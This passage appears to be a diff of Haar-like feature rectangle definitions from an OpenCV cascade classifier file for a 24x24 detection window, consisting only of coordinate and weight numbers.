+ <_> + 9 7 10 4 -1. + <_> + 9 7 5 4 2. + <_> + + <_> + 5 7 10 4 -1. + <_> + 10 7 5 4 2. + <_> + + <_> + 17 8 6 16 -1. + <_> + 20 8 3 8 2. + <_> + 17 16 3 8 2. + <_> + + <_> + 1 15 20 4 -1. + <_> + 1 15 10 2 2. + <_> + 11 17 10 2 2. + <_> + + <_> + 14 15 10 6 -1. + <_> + 14 17 10 2 3. + <_> + + <_> + 3 0 16 9 -1. + <_> + 3 3 16 3 3. + <_> + + <_> + 15 6 7 15 -1. + <_> + 15 11 7 5 3. + <_> + + <_> + 9 1 6 13 -1. + <_> + 11 1 2 13 3. + <_> + + <_> + 17 2 6 14 -1. + <_> + 17 2 3 14 2. + <_> + + <_> + 3 14 12 10 -1. + <_> + 3 14 6 5 2. + <_> + 9 19 6 5 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 1 2 6 14 -1. + <_> + 4 2 3 14 2. + <_> + + <_> + 10 4 5 12 -1. + <_> + 10 8 5 4 3. + <_> + + <_> + 0 17 24 5 -1. + <_> + 8 17 8 5 3. + <_> + + <_> + 15 7 5 12 -1. + <_> + 15 11 5 4 3. + <_> + + <_> + 3 1 6 12 -1. + <_> + 3 1 3 6 2. + <_> + 6 7 3 6 2. + <_> + + <_> + 12 13 6 6 -1. + <_> + 12 16 6 3 2. + <_> + + <_> + 6 13 6 6 -1. + <_> + 6 16 6 3 2. + <_> + + <_> + 14 6 3 16 -1. + <_> + 14 14 3 8 2. + <_> + + <_> + 1 12 13 6 -1. + <_> + 1 14 13 2 3. + <_> + + <_> + 13 1 4 9 -1. + <_> + 13 1 2 9 2. + <_> + + <_> + 7 0 9 6 -1. + <_> + 10 0 3 6 3. + <_> + + <_> + 12 2 6 9 -1. + <_> + 12 2 3 9 2. + <_> + + <_> + 6 2 6 9 -1. + <_> + 9 2 3 9 2. + <_> + + <_> + 6 18 12 6 -1. + <_> + 6 20 12 2 3. + <_> + + <_> + 7 6 6 9 -1. + <_> + 9 6 2 9 3. + <_> + + <_> + 7 7 12 3 -1. + <_> + 7 7 6 3 2. + <_> + + <_> + 8 3 8 21 -1. + <_> + 8 10 8 7 3. + <_> + + <_> + 7 4 10 12 -1. + <_> + 7 8 10 4 3. + <_> + + <_> + 0 1 6 9 -1. + <_> + 0 4 6 3 3. + <_> + + <_> + 15 2 2 20 -1. + <_> + 15 2 1 20 2. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 15 3 2 21 -1. + <_> + 15 3 1 21 2. + <_> + + <_> + 7 0 2 23 -1. + <_> + 8 0 1 23 2. + <_> + + <_> + 15 8 9 4 -1. + <_> + 15 10 9 2 2. + <_> + + <_> + 0 8 9 4 -1. + <_> + 0 10 9 2 2. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 3 10 18 4 -1. + <_> + 9 10 6 4 3. + <_> + + <_> + 0 0 24 19 -1. + <_> + 8 0 8 19 3. + <_> + + <_> + 9 1 8 12 -1. + <_> + 9 7 8 6 2. + <_> + + <_> + 10 6 4 10 -1. + <_> + 12 6 2 10 2. + <_> + + <_> + 7 9 10 12 -1. + <_> + 12 9 5 6 2. + <_> + 7 15 5 6 2. + <_> + + <_> + 5 0 3 19 -1. + <_> + 6 0 1 19 3. + <_> + + <_> + 14 0 6 10 -1. + <_> + 16 0 2 10 3. + <_> + + <_> + 2 0 6 12 -1. + <_> + 2 0 3 6 2. + <_> + 5 6 3 6 2. + <_> + + <_> + 0 11 24 2 -1. + <_> + 0 12 24 1 2. + <_> + + <_> + 4 9 13 4 -1. + <_> + 4 11 13 2 2. + <_> + + <_> + 9 8 6 9 -1. + <_> + 9 11 6 3 3. + <_> + + <_> + 0 12 16 4 -1. + <_> + 0 14 16 2 2. + <_> + + <_> + 18 12 6 9 -1. + <_> + 18 15 6 3 3. + <_> + + <_> + 0 12 6 9 -1. + <_> + 0 15 6 3 3. + <_> + + <_> + 8 7 10 4 -1. + <_> + 8 7 5 4 2. + <_> + + <_> + 8 7 6 9 -1. + <_> + 10 7 2 9 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 12 3 6 15 -1. + <_> + 14 3 2 15 3. + <_> + + <_> + 6 3 6 15 -1. + <_> + 8 3 2 15 3. + <_> + + <_> + 15 2 9 4 -1. + <_> + 15 4 9 2 2. + <_> + + <_> + 5 10 6 7 -1. + <_> + 8 10 3 7 2. + <_> + + <_> + 9 14 6 10 -1. + <_> + 9 19 6 5 2. + <_> + + <_> + 7 13 5 8 -1. + <_> + 7 17 5 4 2. + <_> + + <_> + 14 5 3 16 -1. + <_> + 14 13 3 8 2. + <_> + + <_> + 2 17 18 3 -1. + <_> + 2 18 18 1 3. + <_> + + <_> + 5 18 19 3 -1. + <_> + 5 19 19 1 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 12 4 3 18 -1. + <_> + 13 4 1 18 3. + <_> + + <_> + 9 4 3 18 -1. + <_> + 10 4 1 18 3. + <_> + + <_> + 3 3 18 9 -1. + <_> + 9 3 6 9 3. + <_> + + <_> + 6 1 6 14 -1. + <_> + 8 1 2 14 3. + <_> + + <_> + 12 16 9 6 -1. + <_> + 12 19 9 3 2. + <_> + + <_> + 1 3 20 16 -1. + <_> + 1 3 10 8 2. + <_> + 11 11 10 8 2. + <_> + + <_> + 12 5 6 12 -1. + <_> + 15 5 3 6 2. + <_> + 12 11 3 6 2. + <_> + + <_> + 1 2 22 16 -1. + <_> + 1 2 11 8 2. + <_> + 12 10 11 8 2. + <_> + + <_> + 10 14 5 10 -1. + <_> + 10 19 5 5 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 3 22 18 1 3. + <_> + + <_> + 10 14 6 10 -1. + <_> + 12 14 2 10 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 6 12 5 -1. + <_> + 10 6 4 5 3. + <_> + + <_> + 5 8 14 12 -1. + <_> + 5 12 14 4 3. + <_> + + <_> + 4 14 8 10 -1. + <_> + 4 14 4 5 2. + <_> + 8 19 4 5 2. + <_> + + <_> + 11 6 5 14 -1. + <_> + 11 13 5 7 2. + <_> + + <_> + 7 6 3 16 -1. + <_> + 7 14 3 8 2. + <_> + + <_> + 3 7 18 8 -1. + <_> + 9 7 6 8 3. + <_> + + <_> + 2 3 20 2 -1. + <_> + 2 4 20 1 2. + <_> + + <_> + 3 12 19 6 -1. + <_> + 3 14 19 2 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 16 6 6 14 -1. + <_> + 16 6 3 14 2. + <_> + + <_> + 7 9 6 12 -1. + <_> + 9 9 2 12 3. + <_> + + <_> + 18 6 6 18 -1. + <_> + 21 6 3 9 2. + <_> + 18 15 3 9 2. + <_> + + <_> + 0 6 6 18 -1. + <_> + 0 6 3 9 2. + <_> + 3 15 3 9 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 3 18 15 6 -1. + <_> + 3 20 15 2 3. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 5 10 18 2 -1. + <_> + 5 11 18 1 2. + <_> + + <_> + 6 0 12 6 -1. + <_> + 6 2 12 2 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 3 6 13 6 -1. + <_> + 3 8 13 2 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 2 5 6 15 -1. + <_> + 5 5 3 15 2. + <_> + + <_> + 8 8 9 6 -1. + <_> + 11 8 3 6 3. + <_> + + <_> + 8 6 3 14 -1. + <_> + 8 13 3 7 2. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 4 12 10 4 -1. + <_> + 9 12 5 4 2. + <_> + + <_> + 13 1 4 19 -1. + <_> + 13 1 2 19 2. + <_> + + <_> + 7 1 4 19 -1. + <_> + 9 1 2 19 2. + <_> + + <_> + 18 9 6 9 -1. + <_> + 18 12 6 3 3. + <_> + + <_> + 1 21 18 3 -1. + <_> + 1 22 18 1 3. + <_> + + <_> + 14 13 10 9 -1. + <_> + 14 16 10 3 3. + <_> + + <_> + 1 13 22 4 -1. + <_> + 1 13 11 2 2. + <_> + 12 15 11 2 2. + <_> + + <_> + 4 6 16 6 -1. + <_> + 12 6 8 3 2. + <_> + 4 9 8 3 2. + <_> + + <_> + 1 0 18 22 -1. + <_> + 1 0 9 11 2. + <_> + 10 11 9 11 2. + <_> + + <_> + 10 7 8 14 -1. + <_> + 14 7 4 7 2. + <_> + 10 14 4 7 2. + <_> + + <_> + 0 4 6 20 -1. + <_> + 0 4 3 10 2. + <_> + 3 14 3 10 2. + <_> + + <_> + 15 0 6 9 -1. + <_> + 17 0 2 9 3. + <_> + + <_> + 3 0 6 9 -1. + <_> + 5 0 2 9 3. + <_> + + <_> + 15 12 6 12 -1. + <_> + 18 12 3 6 2. + <_> + 15 18 3 6 2. + <_> + + <_> + 3 12 6 12 -1. + <_> + 3 12 3 6 2. + <_> + 6 18 3 6 2. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 0 12 9 6 -1. + <_> + 0 14 9 2 3. + <_> + + <_> + 4 14 19 3 -1. + <_> + 4 15 19 1 3. + <_> + + <_> + 2 13 19 3 -1. + <_> + 2 14 19 1 3. + <_> + + <_> + 14 15 10 6 -1. + <_> + 14 17 10 2 3. + <_> + + <_> + 6 0 10 12 -1. + <_> + 6 0 5 6 2. + <_> + 11 6 5 6 2. + <_> + + <_> + 17 1 6 12 -1. + <_> + 20 1 3 6 2. + <_> + 17 7 3 6 2. + <_> + + <_> + 1 1 6 12 -1. + <_> + 1 1 3 6 2. + <_> + 4 7 3 6 2. + <_> + + <_> + 16 14 6 9 -1. + <_> + 16 17 6 3 3. + <_> + + <_> + 7 3 9 12 -1. + <_> + 7 9 9 6 2. + <_> + + <_> + 12 1 4 12 -1. + <_> + 12 7 4 6 2. + <_> + + <_> + 4 0 14 8 -1. + <_> + 4 4 14 4 2. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 2 10 18 3 -1. + <_> + 8 10 6 3 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 1 21 23 -1. + <_> + 7 1 7 23 3. + <_> + + <_> + 6 9 17 4 -1. + <_> + 6 11 17 2 2. + <_> + + <_> + 1 0 11 18 -1. + <_> + 1 6 11 6 3. + <_> + + <_> + 6 15 13 6 -1. + <_> + 6 17 13 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 8 7 15 4 -1. + <_> + 13 7 5 4 3. + <_> + + <_> + 9 12 6 9 -1. + <_> + 9 15 6 3 3. + <_> + + <_> + 6 8 18 3 -1. + <_> + 12 8 6 3 3. + <_> + + <_> + 0 14 24 4 -1. + <_> + 8 14 8 4 3. + <_> + + <_> + 16 10 3 12 -1. + <_> + 16 16 3 6 2. + <_> + + <_> + 0 3 24 3 -1. + <_> + 0 4 24 1 3. + <_> + + <_> + 14 17 10 6 -1. + <_> + 14 19 10 2 3. + <_> + + <_> + 1 13 18 3 -1. + <_> + 7 13 6 3 3. + <_> + + <_> + 5 0 18 9 -1. + <_> + 5 3 18 3 3. + <_> + + <_> + 4 3 16 9 -1. + <_> + 4 6 16 3 3. + <_> + + <_> + 16 5 3 12 -1. + <_> + 16 11 3 6 2. + <_> + + <_> + 0 7 18 4 -1. + <_> + 6 7 6 4 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 9 8 6 10 -1. + <_> + 11 8 2 10 3. + <_> + + <_> + 9 15 6 9 -1. + <_> + 11 15 2 9 3. + <_> + + <_> + 3 1 18 21 -1. + <_> + 12 1 9 21 2. + <_> + + <_> + 6 8 12 7 -1. + <_> + 6 8 6 7 2. + <_> + + <_> + 8 5 6 9 -1. + <_> + 10 5 2 9 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 14 7 5 12 -1. + <_> + 14 11 5 4 3. + <_> + + <_> + 5 7 5 12 -1. + <_> + 5 11 5 4 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 1 6 17 -1. + <_> + 3 1 3 17 2. + <_> + + <_> + 3 1 19 9 -1. + <_> + 3 4 19 3 3. + <_> + + <_> + 3 18 12 6 -1. + <_> + 3 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 20 4 4 19 -1. + <_> + 20 4 2 19 2. + <_> + + <_> + 0 16 10 7 -1. + <_> + 5 16 5 7 2. + <_> + + <_> + 8 7 10 12 -1. + <_> + 13 7 5 6 2. + <_> + 8 13 5 6 2. + <_> + + <_> + 6 7 10 12 -1. + <_> + 6 7 5 6 2. + <_> + 11 13 5 6 2. + <_> + + <_> + 9 2 9 6 -1. + <_> + 12 2 3 6 3. + <_> + + <_> + 1 20 21 4 -1. + <_> + 8 20 7 4 3. + <_> + + <_> + 9 12 9 6 -1. + <_> + 9 14 9 2 3. + <_> + + <_> + 7 2 9 6 -1. + <_> + 10 2 3 6 3. + <_> + + <_> + 13 0 4 14 -1. + <_> + 13 0 2 14 2. + <_> + + <_> + 7 0 4 14 -1. + <_> + 9 0 2 14 2. + <_> + + <_> + 14 15 9 6 -1. + <_> + 14 17 9 2 3. + <_> + + <_> + 2 8 18 5 -1. + <_> + 8 8 6 5 3. + <_> + + <_> + 18 3 6 11 -1. + <_> + 20 3 2 11 3. + <_> + + <_> + 6 5 11 14 -1. + <_> + 6 12 11 7 2. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 7 6 9 6 -1. + <_> + 7 8 9 2 3. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 0 4 6 9 -1. + <_> + 0 7 6 3 3. + <_> + + <_> + 9 4 9 4 -1. + <_> + 9 6 9 2 2. + <_> + + <_> + 0 22 19 2 -1. + <_> + 0 23 19 1 2. + <_> + + <_> + 17 14 6 9 -1. + <_> + 17 17 6 3 3. + <_> + + <_> + 1 14 6 9 -1. + <_> + 1 17 6 3 3. + <_> + + <_> + 14 11 4 9 -1. + <_> + 14 11 2 9 2. + <_> + + <_> + 6 11 4 9 -1. + <_> + 8 11 2 9 2. + <_> + + <_> + 3 9 18 7 -1. + <_> + 9 9 6 7 3. + <_> + + <_> + 9 12 6 10 -1. + <_> + 9 17 6 5 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 10 6 11 12 -1. + <_> + 10 12 11 6 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 5 6 7 3 2. + <_> + 12 9 7 3 2. + <_> + + <_> + 5 4 15 4 -1. + <_> + 5 6 15 2 2. + <_> + + <_> + 0 0 22 2 -1. + <_> + 0 1 22 1 2. + <_> + + <_> + 0 0 24 24 -1. + <_> + 8 0 8 24 3. + <_> + + <_> + 1 15 18 4 -1. + <_> + 10 15 9 4 2. + <_> + + <_> + 6 8 12 9 -1. + <_> + 6 11 12 3 3. + <_> + + <_> + 4 12 7 12 -1. + <_> + 4 16 7 4 3. + <_> + + <_> + 1 2 22 6 -1. + <_> + 12 2 11 3 2. + <_> + 1 5 11 3 2. + <_> + + <_> + 5 20 14 3 -1. + <_> + 12 20 7 3 2. + <_> + + <_> + 0 0 24 16 -1. + <_> + 12 0 12 8 2. + <_> + 0 8 12 8 2. + <_> + + <_> + 3 13 18 4 -1. + <_> + 3 13 9 2 2. + <_> + 12 15 9 2 2. + <_> + + <_> + 2 10 22 2 -1. + <_> + 2 11 22 1 2. + <_> + + <_> + 6 3 11 8 -1. + <_> + 6 7 11 4 2. + <_> + + <_> + 14 5 6 6 -1. + <_> + 14 8 6 3 2. + <_> + + <_> + 0 7 24 6 -1. + <_> + 0 9 24 2 3. + <_> + + <_> + 14 0 10 10 -1. + <_> + 19 0 5 5 2. + <_> + 14 5 5 5 2. + <_> + + <_> + 0 0 10 10 -1. + <_> + 0 0 5 5 2. + <_> + 5 5 5 5 2. + <_> + + <_> + 0 1 24 4 -1. + <_> + 12 1 12 2 2. + <_> + 0 3 12 2 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 5 15 16 6 -1. + <_> + 13 15 8 3 2. + <_> + 5 18 8 3 2. + <_> + + <_> + 3 15 16 6 -1. + <_> + 3 15 8 3 2. + <_> + 11 18 8 3 2. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 13 21 10 -1. + <_> + 0 18 21 5 2. + <_> + + <_> + 13 0 6 24 -1. + <_> + 15 0 2 24 3. + <_> + + <_> + 7 4 6 11 -1. + <_> + 9 4 2 11 3. + <_> + + <_> + 9 5 9 6 -1. + <_> + 12 5 3 6 3. + <_> + + <_> + 1 4 2 20 -1. + <_> + 1 14 2 10 2. + <_> + + <_> + 13 0 6 24 -1. + <_> + 15 0 2 24 3. + <_> + + <_> + 5 0 6 24 -1. + <_> + 7 0 2 24 3. + <_> + + <_> + 16 7 6 14 -1. + <_> + 19 7 3 7 2. + <_> + 16 14 3 7 2. + <_> + + <_> + 4 7 4 12 -1. + <_> + 6 7 2 12 2. + <_> + + <_> + 0 5 24 14 -1. + <_> + 8 5 8 14 3. + <_> + + <_> + 5 13 10 6 -1. + <_> + 5 15 10 2 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 2 7 6 14 -1. + <_> + 2 7 3 7 2. + <_> + 5 14 3 7 2. + <_> + + <_> + 15 2 9 15 -1. + <_> + 18 2 3 15 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 2 2 2 9 3. + <_> + + <_> + 12 2 10 14 -1. + <_> + 17 2 5 7 2. + <_> + 12 9 5 7 2. + <_> + + <_> + 11 6 2 18 -1. + <_> + 12 6 1 18 2. + <_> + + <_> + 9 5 15 6 -1. + <_> + 14 5 5 6 3. + <_> + + <_> + 8 6 6 10 -1. + <_> + 10 6 2 10 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 3 3 9 7 -1. + <_> + 6 3 3 7 3. + <_> + + <_> + 6 7 14 3 -1. + <_> + 6 7 7 3 2. + <_> + + <_> + 7 7 8 6 -1. + <_> + 11 7 4 6 2. + <_> + + <_> + 12 7 7 12 -1. + <_> + 12 13 7 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 16 14 6 9 -1. + <_> + 16 17 6 3 3. + <_> + + <_> + 4 0 6 13 -1. + <_> + 6 0 2 13 3. + <_> + + <_> + 2 2 21 3 -1. + <_> + 9 2 7 3 3. + <_> + + <_> + 5 4 5 12 -1. + <_> + 5 8 5 4 3. + <_> + + <_> + 10 3 4 10 -1. + <_> + 10 8 4 5 2. + <_> + + <_> + 8 4 5 8 -1. + <_> + 8 8 5 4 2. + <_> + + <_> + 6 0 11 9 -1. + <_> + 6 3 11 3 3. + <_> + + <_> + 6 6 12 5 -1. + <_> + 10 6 4 5 3. + <_> + + <_> + 0 0 24 5 -1. + <_> + 8 0 8 5 3. + <_> + + <_> + 1 10 23 6 -1. + <_> + 1 12 23 2 3. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 3 6 21 6 -1. + <_> + 3 8 21 2 3. + <_> + + <_> + 0 5 6 12 -1. + <_> + 2 5 2 12 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 8 7 8 10 -1. + <_> + 8 12 8 5 2. + <_> + + <_> + 5 7 15 12 -1. + <_> + 10 7 5 12 3. + <_> + + <_> + 0 17 10 6 -1. + <_> + 0 19 10 2 3. + <_> + + <_> + 14 18 9 6 -1. + <_> + 14 20 9 2 3. + <_> + + <_> + 9 6 6 16 -1. + <_> + 9 14 6 8 2. + <_> + + <_> + 14 18 9 6 -1. + <_> + 14 20 9 2 3. + <_> + + <_> + 1 18 9 6 -1. + <_> + 1 20 9 2 3. + <_> + + <_> + 15 9 9 6 -1. + <_> + 15 11 9 2 3. + <_> + + <_> + 0 9 9 6 -1. + <_> + 0 11 9 2 3. + <_> + + <_> + 17 3 6 9 -1. + <_> + 19 3 2 9 3. + <_> + + <_> + 2 17 18 3 -1. + <_> + 2 18 18 1 3. + <_> + + <_> + 3 15 21 6 -1. + <_> + 3 17 21 2 3. + <_> + + <_> + 9 17 6 6 -1. + <_> + 9 20 6 3 2. + <_> + + <_> + 18 3 6 9 -1. + <_> + 18 6 6 3 3. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 4 0 16 10 -1. + <_> + 12 0 8 5 2. + <_> + 4 5 8 5 2. + <_> + + <_> + 2 0 10 16 -1. + <_> + 2 0 5 8 2. + <_> + 7 8 5 8 2. + <_> + + <_> + 14 0 10 5 -1. + <_> + 14 0 5 5 2. + <_> + + <_> + 0 0 10 5 -1. + <_> + 5 0 5 5 2. + <_> + + <_> + 18 3 6 10 -1. + <_> + 18 3 3 10 2. + <_> + + <_> + 5 11 12 6 -1. + <_> + 5 11 6 3 2. + <_> + 11 14 6 3 2. + <_> + + <_> + 21 0 3 18 -1. + <_> + 22 0 1 18 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 8 8 9 7 -1. + <_> + 11 8 3 7 3. + <_> + + <_> + 7 12 8 10 -1. + <_> + 7 12 4 5 2. + <_> + 11 17 4 5 2. + <_> + + <_> + 21 0 3 18 -1. + <_> + 22 0 1 18 3. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 0 3 24 1 3. + <_> + + <_> + 11 7 6 9 -1. + <_> + 13 7 2 9 3. + <_> + + <_> + 7 6 6 10 -1. + <_> + 9 6 2 10 3. + <_> + + <_> + 12 1 6 12 -1. + <_> + 14 1 2 12 3. + <_> + + <_> + 6 4 12 12 -1. + <_> + 6 10 12 6 2. + <_> + + <_> + 14 3 2 21 -1. + <_> + 14 3 1 21 2. + <_> + + <_> + 6 1 12 8 -1. + <_> + 6 5 12 4 2. + <_> + + <_> + 3 0 18 8 -1. + <_> + 3 4 18 4 2. + <_> + + <_> + 3 0 18 3 -1. + <_> + 3 1 18 1 3. + <_> + + <_> + 0 13 24 4 -1. + <_> + 12 13 12 2 2. + <_> + 0 15 12 2 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 12 5 2 9 2. + <_> + + <_> + 11 1 6 9 -1. + <_> + 13 1 2 9 3. + <_> + + <_> + 6 2 6 22 -1. + <_> + 8 2 2 22 3. + <_> + + <_> + 16 10 8 14 -1. + <_> + 20 10 4 7 2. + <_> + 16 17 4 7 2. + <_> + + <_> + 3 4 16 15 -1. + <_> + 3 9 16 5 3. + <_> + + <_> + 16 10 8 14 -1. + <_> + 20 10 4 7 2. + <_> + 16 17 4 7 2. + <_> + + <_> + 0 10 8 14 -1. + <_> + 0 10 4 7 2. + <_> + 4 17 4 7 2. + <_> + + <_> + 10 14 11 6 -1. + <_> + 10 17 11 3 2. + <_> + + <_> + 0 7 24 9 -1. + <_> + 8 7 8 9 3. + <_> + + <_> + 13 1 4 16 -1. + <_> + 13 1 2 16 2. + <_> + + <_> + 7 1 4 16 -1. + <_> + 9 1 2 16 2. + <_> + + <_> + 5 5 16 8 -1. + <_> + 13 5 8 4 2. + <_> + 5 9 8 4 2. + <_> + + <_> + 0 9 6 9 -1. + <_> + 0 12 6 3 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 3 12 6 9 -1. + <_> + 3 15 6 3 3. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 2 13 8 10 -1. + <_> + 2 13 4 5 2. + <_> + 6 18 4 5 2. + <_> + + <_> + 15 5 3 18 -1. + <_> + 15 11 3 6 3. + <_> + + <_> + 3 5 18 3 -1. + <_> + 3 6 18 1 3. + <_> + + <_> + 17 5 6 11 -1. + <_> + 19 5 2 11 3. + <_> + + <_> + 1 5 6 11 -1. + <_> + 3 5 2 11 3. + <_> + + <_> + 19 1 4 9 -1. + <_> + 19 1 2 9 2. + <_> + + <_> + 1 1 4 9 -1. + <_> + 3 1 2 9 2. + <_> + + <_> + 4 15 18 9 -1. + <_> + 4 15 9 9 2. + <_> + + <_> + 6 9 12 4 -1. + <_> + 6 11 12 2 2. + <_> + + <_> + 15 2 9 6 -1. + <_> + 15 4 9 2 3. + <_> + + <_> + 0 2 9 6 -1. + <_> + 0 4 9 2 3. + <_> + + <_> + 15 0 6 17 -1. + <_> + 17 0 2 17 3. + <_> + + <_> + 3 0 6 17 -1. + <_> + 5 0 2 17 3. + <_> + + <_> + 8 17 9 4 -1. + <_> + 8 19 9 2 2. + <_> + + <_> + 6 5 3 18 -1. + <_> + 6 11 3 6 3. + <_> + + <_> + 5 2 14 12 -1. + <_> + 5 8 14 6 2. + <_> + + <_> + 10 2 3 12 -1. + <_> + 10 8 3 6 2. + <_> + + <_> + 10 7 14 15 -1. + <_> + 10 12 14 5 3. + <_> + + <_> + 0 7 14 15 -1. + <_> + 0 12 14 5 3. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 0 0 9 6 -1. + <_> + 0 2 9 2 3. + <_> + + <_> + 12 6 6 14 -1. + <_> + 14 6 2 14 3. + <_> + + <_> + 9 7 6 9 -1. + <_> + 11 7 2 9 3. + <_> + + <_> + 12 6 6 15 -1. + <_> + 14 6 2 15 3. + <_> + + <_> + 6 6 6 15 -1. + <_> + 8 6 2 15 3. + <_> + + <_> + 15 3 8 9 -1. + <_> + 15 3 4 9 2. + <_> + + <_> + 0 0 9 21 -1. + <_> + 3 0 3 21 3. + <_> + + <_> + 11 9 8 12 -1. + <_> + 11 13 8 4 3. + <_> + + <_> + 6 7 10 12 -1. + <_> + 6 7 5 6 2. + <_> + 11 13 5 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 0 0 6 9 -1. + <_> + 0 3 6 3 3. + <_> + + <_> + 3 14 18 3 -1. + <_> + 3 15 18 1 3. + <_> + + <_> + 3 14 8 10 -1. + <_> + 3 14 4 5 2. + <_> + 7 19 4 5 2. + <_> + + <_> + 0 12 24 4 -1. + <_> + 12 12 12 2 2. + <_> + 0 14 12 2 2. + <_> + + <_> + 0 2 3 20 -1. + <_> + 1 2 1 20 3. + <_> + + <_> + 12 16 10 8 -1. + <_> + 17 16 5 4 2. + <_> + 12 20 5 4 2. + <_> + + <_> + 2 16 10 8 -1. + <_> + 2 16 5 4 2. + <_> + 7 20 5 4 2. + <_> + + <_> + 7 0 10 9 -1. + <_> + 7 3 10 3 3. + <_> + + <_> + 0 0 24 3 -1. + <_> + 8 0 8 3 3. + <_> + + <_> + 3 8 15 4 -1. + <_> + 3 10 15 2 2. + <_> + + <_> + 6 5 12 6 -1. + <_> + 10 5 4 6 3. + <_> + + <_> + 5 13 14 6 -1. + <_> + 5 16 14 3 2. + <_> + + <_> + 11 14 4 10 -1. + <_> + 11 19 4 5 2. + <_> + + <_> + 0 6 6 7 -1. + <_> + 3 6 3 7 2. + <_> + + <_> + 18 0 6 6 -1. + <_> + 18 0 3 6 2. + <_> + + <_> + 3 1 18 3 -1. + <_> + 3 2 18 1 3. + <_> + + <_> + 9 6 14 18 -1. + <_> + 9 12 14 6 3. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 0 20 24 3 -1. + <_> + 8 20 8 3 3. + <_> + + <_> + 13 11 6 7 -1. + <_> + 13 11 3 7 2. + <_> + + <_> + 4 12 10 6 -1. + <_> + 4 14 10 2 3. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 7 -1. + <_> + 8 11 3 7 2. + <_> + + <_> + 7 4 11 12 -1. + <_> + 7 8 11 4 3. + <_> + + <_> + 6 15 10 4 -1. + <_> + 6 17 10 2 2. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 4 0 6 9 -1. + <_> + 6 0 2 9 3. + <_> + + <_> + 11 2 4 15 -1. + <_> + 11 7 4 5 3. + 